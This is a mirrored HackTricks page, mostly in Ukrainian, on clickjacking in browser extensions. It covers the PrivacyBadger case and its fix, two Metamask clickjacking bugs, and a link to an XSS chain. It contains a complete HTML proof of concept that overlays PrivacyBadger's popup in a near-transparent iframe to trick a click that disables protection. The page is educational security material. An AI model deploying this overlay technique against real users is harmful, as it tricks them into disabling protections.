mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 16:10:54 +00:00
127 lines
9.1 KiB
Markdown
127 lines
9.1 KiB
Markdown
# BrowExt - ClickJacking
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Основна інформація
|
||
|
||
Ця сторінка буде зловживати вразливістю ClickJacking у розширенні браузера.\
|
||
Якщо ви не знаєте, що таке ClickJacking, перевірте:
|
||
|
||
{% content-ref url="../clickjacking.md" %}
|
||
[clickjacking.md](../clickjacking.md)
|
||
{% endcontent-ref %}
|
||
|
||
Розширення містить файл **`manifest.json`** і цей JSON файл має поле `web_accessible_resources`. Ось що кажуть [документи Chrome](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources):
|
||
|
||
> Ці ресурси будуть доступні на веб-сторінці через URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, який можна згенерувати за допомогою **`extension.getURL method`**. Ресурси, що дозволені, подаються з відповідними заголовками CORS, тому вони доступні через механізми, такі як XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||
|
||
**`web_accessible_resources`** у розширенні браузера доступні не лише через веб; вони також працюють з вбудованими привілеями розширення. Це означає, що вони мають можливість:
|
||
|
||
* Змінювати стан розширення
|
||
* Завантажувати додаткові ресурси
|
||
* Взаємодіяти з браузером до певної міри
|
||
|
||
Однак ця функція представляє собою ризик безпеки. Якщо ресурс у **`web_accessible_resources`** має будь-яку значну функціональність, зловмисник може потенційно вбудувати цей ресурс у зовнішню веб-сторінку. Непідозрюючі користувачі, які відвідують цю сторінку, можуть ненавмисно активувати цей вбудований ресурс. Така активація може призвести до непередбачуваних наслідків, залежно від дозволів і можливостей ресурсів розширення.
|
||
|
||
## Приклад PrivacyBadger
|
||
|
||
У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія `skin/` була оголошена як `web_accessible_resources` наступним чином (перевірте оригінальний [блог-пост](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
|
||
```json
|
||
"web_accessible_resources": [
|
||
"skin/*",
|
||
"icons/*"
|
||
]
|
||
```
|
||
Ця конфігурація призвела до потенційної проблеми безпеки. Зокрема, файл `skin/popup.html`, який відображається при взаємодії з іконкою PrivacyBadger у браузері, може бути вбудований в `iframe`. Це вбудовування може бути використане для обману користувачів, змушуючи їх випадково натискати на "Вимкнути PrivacyBadger для цього веб-сайту". Така дія порушить конфіденційність користувача, вимкнувши захист PrivacyBadger і потенційно піддаючи користувача підвищеному відстеженню. Візуальну демонстрацію цього експлойту можна переглянути у відео прикладі ClickJacking, наданому за посиланням [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
|
||
|
||
Щоб усунути цю вразливість, було реалізовано просте рішення: видалення `/skin/*` зі списку `web_accessible_resources`. Ця зміна ефективно зменшила ризик, забезпечивши, що вміст каталогу `skin/` не може бути доступний або маніпульований через веб-доступні ресурси.
|
||
|
||
Виправлення було простим: **видалити `/skin/*` зі списку `web_accessible_resources`**.
|
||
|
||
### PoC
|
||
```html
|
||
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
|
||
|
||
<style>
|
||
iframe {
|
||
width: 430px;
|
||
height: 300px;
|
||
opacity: 0.01;
|
||
float: top;
|
||
position: absolute;
|
||
}
|
||
|
||
#stuff {
|
||
float: top;
|
||
position: absolute;
|
||
}
|
||
|
||
button {
|
||
float: top;
|
||
position: absolute;
|
||
top: 168px;
|
||
left: 100px;
|
||
}
|
||
|
||
</style>
|
||
|
||
<div id="stuff">
|
||
<h1>
|
||
Click the button
|
||
</h1>
|
||
<button id="button">
|
||
click me
|
||
</button>
|
||
</div>
|
||
|
||
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
||
</iframe>
|
||
```
|
||
## Metamask Example
|
||
|
||
A [**блог пост про ClickJacking у metamask можна знайти тут**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). У цьому випадку Metamask виправив вразливість, перевіряючи, що протокол, використаний для доступу, був **`https:`** або **`http:`** (не **`chrome:`**, наприклад):
|
||
|
||
<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Ще один ClickJacking, виправлений** у розширенні Metamask, полягав у тому, що користувачі могли **Click to whitelist**, коли сторінка підозрювалася у фішингу через `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Оскільки ця сторінка була вразливою до Clickjacking, зловмисник міг зловживати нею, показуючи щось нормальне, щоб змусити жертву натиснути для внесення до білого списку, не помічаючи цього, а потім повернутися на сторінку фішингу, яка буде внесена до білого списку.
|
||
|
||
## Steam Inventory Helper Example
|
||
|
||
Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability:
|
||
|
||
{% content-ref url="browext-xss-example.md" %}
|
||
[browext-xss-example.md](browext-xss-example.md)
|
||
{% endcontent-ref %}
|
||
|
||
## References
|
||
|
||
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
|
||
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|